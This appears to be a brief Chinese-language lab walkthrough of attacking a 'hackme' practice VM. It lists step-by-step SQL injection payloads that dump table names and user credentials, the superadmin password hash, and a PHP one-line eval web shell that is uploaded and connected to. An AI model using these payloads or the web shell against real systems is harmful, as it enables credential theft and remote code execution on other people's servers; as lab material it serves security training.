1、启动靶机
2、打开御剑,扫描端口,得到hackme靶机IP
3、 扫描目录
4、注册并登录网站
5、 到这一步发现可以进行sql注入
6、布尔判断
1’ and 1=1 #
1’ and 1=2 #
7、判断数据库当前查询表有几列
1' order by 1 #
1' order by 2 #
1' order by 3 #
8、已经判断完数据库查询表有3列,那么联合查询3列,查出数据库名
-1' union select 1,2,database() #
9、联合查询通过内置库查询当前数据库使用的表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='webapphacking' #
10、联合查询通过内置库查询当前数据库使用的表中的列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
11、查询表中我们需要的数据
-1' union select group_concat(user),group_concat(pasword),3 from users#
12选择superadmin对应的密码2386acb2cf356944177746fc92523983并解密
13、登录
14、上传一句话木马
<?php @eval($_GET[cmd]);?>
15、连接木马